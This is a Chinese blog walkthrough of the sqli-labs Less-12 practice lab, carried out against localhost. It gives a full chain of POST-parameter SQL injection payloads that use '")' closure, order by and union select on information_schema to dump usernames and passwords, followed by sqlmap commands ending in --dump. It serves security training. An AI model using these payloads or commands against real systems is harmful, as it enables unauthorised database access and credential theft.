当前位置: 首页 > web >正文

sqli-labs:Less-12关卡详细解析

1. 思路🚀

本关的SQL语句为:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 注入类型:字符串型(双引号、括号包裹)、POST请求
  • 提示:参数需以")闭合

php输出语句的部分代码:

if($row)
{//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';	echo "<br>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';	echo "</font>";
}

从源码下手便于我们更清晰的锁定回显情况,从而更深入的理解知识点,每篇文章我都会附加上重点代码部分。
在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-12/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=1") order by 3 #
&passwd=admin&submit=Submit
  • order by 3:探测字段数(报错说明字段数=2)

在这里插入图片描述


2.2. 判断回显点⚡

uname=1") union select 1,2 #
&passwd=admin&submit=Submit

在这里插入图片描述


2.3. 获取基础信息⚡

uname=1") union select database(),user() #
&passwd=admin&submit=Submit

在这里插入图片描述


2.4. 获取表名⚡

uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
&passwd=admin&submit=Submit

在这里插入图片描述


2.5. 获取字段⚡

uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' #
&passwd=admin&submit=Submit

在这里插入图片描述


2.6. 获取数据⚡

uname=1") union select group_concat(username),group_concat(password) from users #
&passwd=admin&submit=Submit

在这里插入图片描述


2.7. 参数汇总表⭐

参数作用示例
")闭合符号id=1')
#注释符#
order by判断字段数order by 3
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-12/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"unamepasswd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-12/" --data="uname=1&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--data指定post请求
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

本关卡与关卡11的解法一致,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/16826.html

相关文章:

  • C++异常处理的成本:理解与优化
  • Golang 调试技巧:在 Goland 中查看 Beego 控制器接收的前端字段参数
  • 文法中的间接左递归
  • Java【代码 21】将word、excel文件转换为pdf格式和将pdf文档转换为image格式工具类分享(Gitee源码)aspose转换中文乱码问题处理
  • 量子测量的物理场景与理论
  • sqoop从pg导出数据到hadoop上
  • 【数据结构初阶】--二叉树选择题专辑
  • 【人工智能-15】OpenCV直方图均衡化,模板匹配,霍夫变换,图像亮度变换,形态学变换
  • 【PHP类的基础概念:从零开始学面向对象】
  • ES11 / ES2020 动态 import()(异步加载模块)
  • Java项目:基于SSM框架实现的小区物业管理系统【ssm+B/S架构+源码+数据库+毕业论文+开题报告+任务书+远程部署】
  • 使用神经网络与5折交叉验证进行基因组预测:基础知识指南
  • 【JMeter】性能测试脚本录制及完善
  • 从一开始的网络攻防(十三):WAF入门到上手
  • day 40 打卡-装饰器
  • 【JEECG】JVxeTable表格拖拽排序功能
  • [SKE]Python gmssl库的C绑定
  • 机器视觉halcon7-缺陷检测
  • 计算机网络1-3:三种交换方式
  • 开源 Arkts 鸿蒙应用 开发(十二)传感器的使用
  • 双线串行的 “跨界对话”:I2C 与 MDIO 的异同解析
  • 数学建模——最大最小化模型
  • 硬件电路设计(基本元器件)
  • sqli-labs:Less-7关卡详细解析
  • 数据治理平台如何选?深度解析国产化全栈方案与行业落地实践
  • Charles中文教程 高效抓包与API接口调试实战全指南
  • 《汇编语言:基于X86处理器》第10章 复习题和练习
  • yolo8+阿里千问图片理解(华为简易版小艺看世界)
  • Docker常用命令速查手册:容器运维七维指南
  • Centos7 | 防火墙(firewalld)使用ipset管理ip地址的集合